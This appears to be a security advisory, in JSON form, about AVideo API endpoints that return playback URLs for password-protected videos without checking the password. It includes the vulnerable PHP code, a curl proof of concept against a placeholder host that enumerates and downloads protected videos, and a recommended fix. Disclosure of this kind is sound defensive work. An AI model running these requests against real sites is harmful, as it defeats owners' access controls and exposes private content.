  "summary" : "AVideo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification",
  "details" : "## Summary\n\nThe `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.\n\n## Details\n\nThe video password protection is enforced in the web UI via `CustomizeUser::getModeYouTube()` (`plugin/CustomizeUser/CustomizeUser.php:787`), which calls `videoPasswordIsGood()` before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.\n\n**Vulnerable endpoint 1 — `get_api_video_file` (`plugin/API/API.php:986-1004`):**\n\n```php\npublic function get_api_video_file($parameters)\n{\n    global $global;\n    $obj = $this->startResponseObject($parameters);\n    $obj->videos_id = $parameters['videos_id'];\n    if (!self::isAPISecretValid()) {\n        if (!User::canWatchVideoWithAds($obj->videos_id)) {\n            return new ApiObject(\"You cannot watch this video\");\n        }\n    }\n    $video = new Video('', '', $obj->videos_id);\n    $obj->filename = $video->getFilename();\n    // ...\n    $obj->video_file = Video::getHigherVideoPathFromID($obj->videos_id);\n    $obj->sources = getSources($obj->filename, true);\n    return new ApiObject(\"\", false, $obj);\n}\n```\n\nThe only access check is `User::canWatchVideoWithAds()` (`objects/user.php:1102-1159`), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does **not** check `video_password`. Password-protected videos have status `'a'` (active), which passes all checks.\n\n**Vulnerable endpoint 2 — `get_api_video` (`plugin/API/API.php:1635-1810`):**\n\nThis endpoint returns video metadata including full `videos` paths (line 1759) and `sources` arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.\n\n**The intended password check exists but is never called from these endpoints:**\n\n`Video::verifyVideoPassword()` (`objects/video.php:543-553`) is the proper password verification function, and `get_api_video_password_is_correct` exists as a separate API endpoint — proving password verification was intended as an access control. But neither `get_api_video_file` nor `get_api_video` invoke any password check.\n\n## PoC\n\n```bash\n# Step 1: Identify a password-protected video via the video list API\ncurl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \\\n  python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\nfor v in data.get('response',{}).get('rows',[]):\n    if v.get('video_password'):\n        print(f'ID: {v[\\\"id\\\"]}, Title: {v[\\\"title\\\"]}, Password Protected: YES')\n        print(f'  Direct sources: {json.dumps(v.get(\\\"sources\\\",[])[0] if v.get(\\\"sources\\\") else \\\"none\\\")}')\"\n\n# Step 2: Retrieve full playback sources for the password-protected video\ncurl -s 'https://target.com/plugin/API/get.json.php?APIName=video_file&videos_id=<PROTECTED_VIDEO_ID>'\n\n# Expected: access denied or password prompt\n# Actual: full response with direct MP4/HLS URLs:\n# {\"error\":false,\"response\":{\"videos_id\":\"123\",\"filename\":\"video_abc\",\n#   \"video_file\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\n#   \"sources\":[{\"src\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\"type\":\"video/mp4\"}]}}\n\n# Step 3: Download the protected video directly\ncurl -O 'https://target.com/videos/video_abc/video_abc_HD.mp4'\n```\n\n## Impact\n\nAny unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The `get_api_video` endpoint additionally exposes which videos are password-protected (via the `video_password` field set to `'1'`), allowing targeted enumeration. This renders the `video_password` feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.\n\n## Recommended Fix\n\nAdd password verification to both API endpoints before returning video sources. In `plugin/API/API.php`:\n\n```php\npublic function get_api_video_file($parameters)\n{\n    global $global;\n    $obj = $this->startResponseObject($parameters);\n    $obj->videos_id = $parameters['videos_id'];\n    if (!self::isAPISecretValid()) {\n        if (!User::canWatchVideoWithAds($obj->videos_id)) {\n            return new ApiObject(\"You cannot watch this video\");\n        }\n        // Check video password protection\n        $video = new Video('', '', $obj->videos_id);\n        $storedPassword = $video->getVideo_password();\n        if (!empty($storedPassword)) {\n            $providedPassword = @$parameters['video_password'];\n            if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) {\n                return new ApiObject(\"Video password required\", true);\n            }\n        }\n    }\n    // ... rest of function\n}\n```\n\nApply the same check in `get_api_video()` before populating the `videos` and `sources` fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix `get_api_video_password_is_correct` to use `Video::verifyVideoPassword()` instead of direct `==` comparison (line 1126), which currently fails for bcrypt hashes.",
